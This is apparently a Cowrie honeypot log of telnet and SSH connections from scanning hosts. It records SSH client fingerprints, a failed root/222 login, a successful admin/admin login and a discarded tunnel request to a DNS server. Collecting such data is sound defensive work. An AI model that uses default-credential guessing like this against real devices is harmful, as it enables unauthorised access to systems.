{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37386,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc6a4c2f9beb","protocol":"telnet","message":"New connection: 162.55.233.176:37386 (159.203.135.109:23) [session: cc6a4c2f9beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:22.689056Z"}
{"eventid":"cowrie.session.closed","duration":31.130953311920166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:23.619237Z","src_ip":"162.55.233.176","session":"f10bc87a6b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.671191930770874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:23.799882Z","src_ip":"162.55.233.176","session":"df56cd34b634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.19679355621338,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:24.936680Z","src_ip":"188.208.141.113","session":"d77bc3d3f7ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41636,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f5092e9e55","protocol":"telnet","message":"New connection: 162.55.233.176:41636 (159.203.135.109:23) [session: 24f5092e9e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:27.841130Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35940,"dst_ip":"10.17.0.5","dst_port":23,"session":"d45935c83d54","protocol":"telnet","message":"New connection: 206.189.32.23:35940 (10.17.0.5:23) [session: d45935c83d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:28.698290Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":4463,"dst_ip":"159.203.135.109","dst_port":22,"session":"12ab4341622c","protocol":"ssh","message":"New connection: 193.24.211.95:4463 (159.203.135.109:22) [session: 12ab4341622c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:28.712582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:28.717565Z","src_ip":"193.24.211.95","session":"12ab4341622c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:28.823933Z","src_ip":"193.24.211.95","session":"12ab4341622c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.20472288131714,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:28.938888Z","src_ip":"188.208.141.113","session":"19da1d0a0350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f33524463c","protocol":"telnet","message":"New connection: 162.55.233.176:41640 (159.203.135.109:23) [session: 40f33524463c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:28.945783Z"}
{"eventid":"cowrie.session.closed","duration":39.76268172264099,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:29.245483Z","src_ip":"206.189.32.23","session":"fc125ec7df9f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"222","message":"login attempt [root/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:29.283013Z","src_ip":"193.24.211.95","session":"12ab4341622c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36758,"dst_ip":"10.17.0.5","dst_port":23,"session":"b558cd01d231","protocol":"telnet","message":"New connection: 206.189.32.23:36758 (10.17.0.5:23) [session: b558cd01d231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:29.629469Z"}
{"eventid":"cowrie.session.closed","duration":31.44640278816223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:30.027077Z","src_ip":"162.55.233.176","session":"f335fd21d152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:30.398194Z","src_ip":"193.24.211.95","session":"12ab4341622c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.570565223693848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:30.816499Z","src_ip":"162.55.233.176","session":"98927c375438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82205080986023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:33.627354Z","src_ip":"162.55.233.176","session":"d9b0f8f9e874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43770,"dst_ip":"159.203.135.109","dst_port":23,"session":"c24fa229844d","protocol":"telnet","message":"New connection: 162.55.233.176:43770 (159.203.135.109:23) [session: c24fa229844d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:33.964048Z"}
{"eventid":"cowrie.session.closed","duration":54.47686958312988,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:35.160687Z","src_ip":"188.208.141.113","session":"1fa11212a4c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41872,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6245ac9780","protocol":"telnet","message":"New connection: 206.189.32.23:41872 (10.17.0.5:23) [session: 8a6245ac9780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:35.549493Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43780,"dst_ip":"159.203.135.109","dst_port":23,"session":"347a2446aafc","protocol":"telnet","message":"New connection: 162.55.233.176:43780 (159.203.135.109:23) [session: 347a2446aafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:35.640550Z"}
{"eventid":"cowrie.session.closed","duration":30.905110120773315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:36.270361Z","src_ip":"162.55.233.176","session":"419c6ae9e0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705311059951782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:37.233352Z","src_ip":"162.55.233.176","session":"a5d2b30beb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52390,"dst_ip":"10.17.0.5","dst_port":22,"session":"541eeb1d1260","protocol":"ssh","message":"New connection: 87.251.64.176:52390 (10.17.0.5:22) [session: 541eeb1d1260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:37.390486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:37.395429Z","src_ip":"87.251.64.176","session":"541eeb1d1260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:37.499953Z","src_ip":"87.251.64.176","session":"541eeb1d1260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43796,"dst_ip":"159.203.135.109","dst_port":23,"session":"089a22e95973","protocol":"telnet","message":"New connection: 162.55.233.176:43796 (159.203.135.109:23) [session: 089a22e95973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:37.836169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43788,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89bc228c30a","protocol":"telnet","message":"New connection: 162.55.233.176:43788 (159.203.135.109:23) [session: c89bc228c30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:38.839478Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:39.207773Z","src_ip":"87.251.64.176","session":"541eeb1d1260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:39.314361Z","session":"541eeb1d1260","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:39.422940Z","src_ip":"87.251.64.176","session":"541eeb1d1260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:39.575957Z","src_ip":"87.251.64.176","session":"541eeb1d1260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43812,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6ff6ea2176","protocol":"telnet","message":"New connection: 162.55.233.176:43812 (159.203.135.109:23) [session: 2a6ff6ea2176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:39.751421Z"}
{"eventid":"cowrie.session.closed","duration":30.62597370147705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:40.477784Z","src_ip":"162.55.233.176","session":"2431361e67eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688140392303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:41.290224Z","src_ip":"162.55.233.176","session":"510f176581e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.68889093399048,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:42.627432Z","src_ip":"206.189.32.23","session":"fb6a93c605aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57128,"dst_ip":"159.203.135.109","dst_port":23,"session":"09199f6780e6","protocol":"telnet","message":"New connection: 162.55.233.176:57128 (159.203.135.109:23) [session: 09199f6780e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:43.020135Z"}
{"eventid":"cowrie.session.closed","duration":42.35551357269287,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:43.187220Z","src_ip":"162.55.233.176","session":"9f28e3ad28fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57140,"dst_ip":"159.203.135.109","dst_port":23,"session":"0930ddc77144","protocol":"telnet","message":"New connection: 162.55.233.176:57140 (159.203.135.109:23) [session: 0930ddc77144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:43.239171Z"}
{"eventid":"cowrie.session.closed","duration":48.25260591506958,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:43.381960Z","src_ip":"206.189.32.23","session":"2d520fcff109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57154,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2484634d3f","protocol":"telnet","message":"New connection: 162.55.233.176:57154 (159.203.135.109:23) [session: 4a2484634d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:44.054553Z"}
{"eventid":"cowrie.session.closed","duration":31.377362728118896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:47.730574Z","src_ip":"162.55.233.176","session":"a7b9e547fdd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617578506469727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:49.834526Z","src_ip":"162.55.233.176","session":"02959674c2b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.193439960479736,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:50.488880Z","src_ip":"162.55.233.176","session":"7914285d2ecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57160,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c33f6c8c912","protocol":"telnet","message":"New connection: 162.55.233.176:57160 (159.203.135.109:23) [session: 7c33f6c8c912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:50.682533Z"}
{"eventid":"cowrie.session.closed","duration":33.04606747627258,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:50.937893Z","src_ip":"162.55.233.176","session":"2045234a82fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57176,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06c0ac4f068","protocol":"telnet","message":"New connection: 162.55.233.176:57176 (159.203.135.109:23) [session: b06c0ac4f068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:51.738047Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57192,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ddf66a2061","protocol":"telnet","message":"New connection: 162.55.233.176:57192 (159.203.135.109:23) [session: b9ddf66a2061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:51.877659Z"}
{"eventid":"cowrie.session.closed","duration":31.672411680221558,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:52.969478Z","src_ip":"162.55.233.176","session":"8de411439b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"47fca49d2b5d","protocol":"telnet","message":"New connection: 162.55.233.176:33186 (159.203.135.109:23) [session: 47fca49d2b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:54.396856Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33194,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1de2a0bfbb","protocol":"telnet","message":"New connection: 162.55.233.176:33194 (159.203.135.109:23) [session: 5f1de2a0bfbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:54.547205Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58166,"dst_ip":"10.17.0.5","dst_port":23,"session":"5149c08727a3","protocol":"telnet","message":"New connection: 188.208.141.113:58166 (10.17.0.5:23) [session: 5149c08727a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:54.942128Z"}
{"eventid":"cowrie.session.closed","duration":36.421988010406494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:55.678916Z","src_ip":"162.55.233.176","session":"919c6644844c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.973228216171265,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:57.775806Z","src_ip":"162.55.233.176","session":"4d293054da57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.40959429740906,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:59.680409Z","src_ip":"188.208.141.113","session":"55b5637c9dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821592330932617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:59.767270Z","src_ip":"162.55.233.176","session":"40f33524463c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58178,"dst_ip":"10.17.0.5","dst_port":23,"session":"b101b466566f","protocol":"telnet","message":"New connection: 188.208.141.113:58178 (10.17.0.5:23) [session: b101b466566f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:59.969663Z"}
{"eventid":"cowrie.session.closed","duration":32.49083375930786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:00.331825Z","src_ip":"162.55.233.176","session":"24f5092e9e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33202,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d544346479","protocol":"telnet","message":"New connection: 162.55.233.176:33202 (159.203.135.109:23) [session: 22d544346479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:00.529707Z"}
{"eventid":"cowrie.session.closed","duration":39.215479373931885,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:01.904419Z","src_ip":"162.55.233.176","session":"cc6a4c2f9beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37546,"dst_ip":"159.203.135.109","dst_port":23,"session":"3501427b0599","protocol":"telnet","message":"New connection: 162.55.233.176:37546 (159.203.135.109:23) [session: 3501427b0599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:03.121131Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"587731f22a68","protocol":"telnet","message":"New connection: 188.208.141.113:33476 (10.17.0.5:23) [session: 587731f22a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:05.583949Z"}
{"eventid":"cowrie.session.closed","duration":30.963340759277344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:06.603790Z","src_ip":"162.55.233.176","session":"347a2446aafc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85830760002136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:06.822287Z","src_ip":"162.55.233.176","session":"c24fa229844d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7553763389587402,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:08.339179Z","src_ip":"188.208.141.113","session":"587731f22a68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90682601928711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:08.742879Z","src_ip":"162.55.233.176","session":"089a22e95973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37558,"dst_ip":"159.203.135.109","dst_port":23,"session":"daa5e30dc95b","protocol":"telnet","message":"New connection: 162.55.233.176:37558 (159.203.135.109:23) [session: daa5e30dc95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:09.683260Z"}
{"eventid":"cowrie.session.closed","duration":30.774488925933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:10.525798Z","src_ip":"162.55.233.176","session":"2a6ff6ea2176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.306509017944336,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:15:12.145858Z","src_ip":"162.55.233.176","session":"c89bc228c30a","protocol":"telnet"}
